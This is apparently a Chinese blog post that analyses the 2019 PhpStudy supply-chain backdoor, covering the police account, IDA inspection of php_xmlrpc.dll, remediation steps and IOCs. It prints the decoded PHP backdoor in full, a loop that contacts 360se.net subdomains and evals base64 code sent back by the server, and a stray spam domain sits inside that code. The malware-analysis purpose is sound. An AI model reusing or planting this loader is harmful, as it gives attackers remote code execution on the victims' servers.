Phpstudy后门文件分析

PhpStudy是什么

        PhpStudy软件是国内的一款免费的PHP调试环境的程序集成包,通过集成Apache、PHP、MySQL、phpMyAdmin、ZendOptimizer多款软件一次性安装,无需配置即可直接安装使用,具有PHP环境调试和PHP开发功能,在国内有着近百万PHP语言学习者、开发者用户。

 

后门供应链攻击活动揭露

 

        近日,杭州*报道了一起重大安全事件杭州警方通报打击涉网违法犯罪暨“净网2019”专项行动战果,其中详细说明了一起供应链攻击事件,以下为事件描述:

 

"

2018年12月4日,西湖区**网警大队接报案称,某公司发现公司内有20余台计算机被执行危险命令,疑似远程控制抓取账号密码等计算机数据回传大量敏感信息。据专家组确认,专案组经过缜密侦查,周全布置,于2019年1月4日至5日,兵分四路,分别在海南陵水、四川成都、重庆、广东广州抓获马某、杨某、谭某、周某某等7名犯罪嫌疑人,现场缴获大量涉案物品,并在嫌疑人的电子设备中找到了直接的犯罪证据。据统计,截止抓获时间,犯罪嫌疑人共非法控制计算机67万余台,非法获取账号密码类、聊天数据类、设备码类等数据10万余组。

 

据主要犯罪嫌疑人马某供述,其于2016年编写了“后门”,使用黑客手段非法侵入了PhpStudy软件官网,篡改了软件安装包内容。该“后门”无法被杀毒软件扫描删除,并且藏匿于软件某功能性代码中,极难被发现。

 

在专案组的侦查过程中,同时发现马某等人通过分析“盗取”的数据,得到了多个*网站的管理后台账号密码,并通过修改服务器数据的方式实施诈骗,非法牟利共计600余万元。

 

目前,官方发通告称,被篡改的软件版本为PhpStudy2016版本中的php5.4版本,如果你是从其它下载站获取的该版本,请自行检查并删除其中的php5.4版本。

 

此次事件PhpStudy官网积极配合杭州*的调查取证,在2019年1月已针对被篡改的进行了修复。

"

 

 

 

Phpstudy后门文件分析 

PhpStudy后门事件分析

 

        2019年9月20日得知非官网的一些下载站中的phpstudy版本存在后门文件,后期多篇报道通报次后门问题。基于研究的目的,于是有了以下这文。


 


 

 从某些下载站下载存在问题的phpstudy5.4.45,在虚拟机中解压安装,与外网隔离情况下开启PHPstudy。

Phpstudy后门文件分析

查看PHP文件夹存在问题的dll动态链接库文件,找到如下文件

Phpstudy后门文件分析

以文本打开找到相关敏感的PHP危险函数eval:

Phpstudy后门文件分析

使用IDA进行具体文件分析:

Phpstudy后门文件分析(php_xmlrpc.dll文件中可疑的“eval”字符串)

“eval”字符串所在的这段代码通过PHP函数gzuncompress解压位于偏移0xd028到0xd66c处的shellcode并执行。

通过查看上图中的eval函数的具体内容详情:

Phpstudy后门文件分析

看到PHP压缩函数,点击aGzuncompress函数

Phpstudy后门文件分析

F5跳到对应位置:可以看到对应功能代码以及开始和结束位置如下图:

开始位置0xd028

Phpstudy后门文件分析

截止位置:0xd66c

Phpstudy后门文件分析

所在位置原理如图所示:

Phpstudy后门文件分析

相应的功能代码为:

Phpstudy后门文件分析

其中:

Phpstudy后门文件分析

Phpstudy后门文件分析

这里拼接了一个 @eval(gzuncompress('%s'));的代码 ,是调用gzuncompress方法解密执行某些代码,没解密前的代码来自asc_1000D028 到unk_1000D66C这个部分,拼接好的字符串放在v42处。

zend_eval_string处执行v42处执行的代码,我们把数据提取出来,并进行处理,并且经过php的gzuncompress解码。

第一个参数是字符串型的,就是要执行的PHP代码。 

第二个是返回的值,因为是zval型的,所以得先做下初始化,直接操作return_value这个变量是可以直接返回给外面调用的PHP的。 

第三个也是字符串,可以随便写,出错了提示地方的,后面接一个变态宏TSRMLS_CC。

经过解压之后的后门代码如下图所示,shellcode中经过base64编码的内容即为最终的后门。

Phpstudy后门文件分析

(解压后的shellcode)

最终的后门请求C&C地址360se.net,执行由C&C返回的内容,目前该地址已无法正常连接。

Phpstudy后门文件分析

将以上base64编码全部解密可以得到如下可执行代码:

 

@ini_set("display_errors","0");error_reporting(0);function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){    $result = "";  $handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10);   if( !$handle ){    $handle = fsockopen($ip, intval($port), $errno, $errstr, 5);    if( !$handle ){        return "err";    }  }  fwrite($handle, $sendMsg."\n");    while(!feof($handle)){        stream_set_timeout($handle, 2);        $result .= fread($handle, 1024);        $info = stream_get_meta_data($handle);        if ($info['timed_out']) {          break;        }     }  fclose($handle);   return $result; }

$ds = array("www","bbs","cms","down","up","file","ftp");$ps = array("20123","40125","8080","80","53");$n = false;do {    $n = false;    foreach ($ds as $d){        $b = false;        foreach ($ps as $p){            $result = tcpGet($i,$d.".360se.net",$p);            if ($result != "err"){                $b =true;                break;            }        }        if ($b)break;    }    $info = explode("<^>",$result);    if (count($info)==4){        if (strpos($info[3],"/*Onemore*/") !== false){            $info[3] = str_replace("/*Onemore*/","",$info[3]);            $n=true;        }        @eval(base64_decode($info[3]));www.gendan5.com    }}while($n);

 

 

   修复方法:

 

1、可以从PHP官网下载原始php-5.4.45版本或php-5.2.17版本,替换其中的php_xmlrpc.dll

https://windows.php.net/downloads/releases/archives/php-5.2.17-Win32-VC6-x86.zip

https://windows.php.net/downloads/releases/archives/php-5.4.45-Win32-VC9-x86.zip

2、目前phpstudy官网上的版本不存在后门,可在phpsudy官网下载安装包进行更新

3、下载安装360或天擎,能有效清除并修复PhpStudy安装目录下的“后门”文件,全面保护个人信息及财产安全;

4、请及时修改服务器密码,其他使用相同注册邮箱和密码的网络帐户也应该一并修改,消除风险;

5、不要随意下载,接收和运行不明来源的文件,尽量到PhpStudy官网https://www.xp.cn/下载最新版PhpStudy安装包进行更新,以防中招。

 附录:部分IOCs 

被篡改的php_xmlrpc.dll:
c339482fd2b233fb0a555b629c0ea5d5
0f7ad38e7a9857523dfbce4bce43a9e9
8c9e30239ec3784bb26e58e8f4211ed0
e252e32a8873aabf33731e8eb90c08df
9916dc74b4e9eb076fa5fcf96e3b8a9c
f3bc871d021a5b29ecc7ec813ecec244
9756003495e3bb190bd4a8cde2c31f2e
d7444e467cb6dc287c791c0728708bfd
2018版PhpStudy安装程序
md5: fc44101432b8c3a5140fcb18284d2797
2016版PhpStudy安装程序
md5: a63ab7adb020a76f34b053db310be2e9
md5:0d3c20d8789347a04640d440abe0729d
IP:
133.130.101.150
Domain
360se.net
bbs.360se.net
www.360se.net
up.360se.net
down.360se.net
cms.360se.net
file.360se.net
ftp.360se.net

上一篇:phpstudy后门利用复现


下一篇:thinkphp安装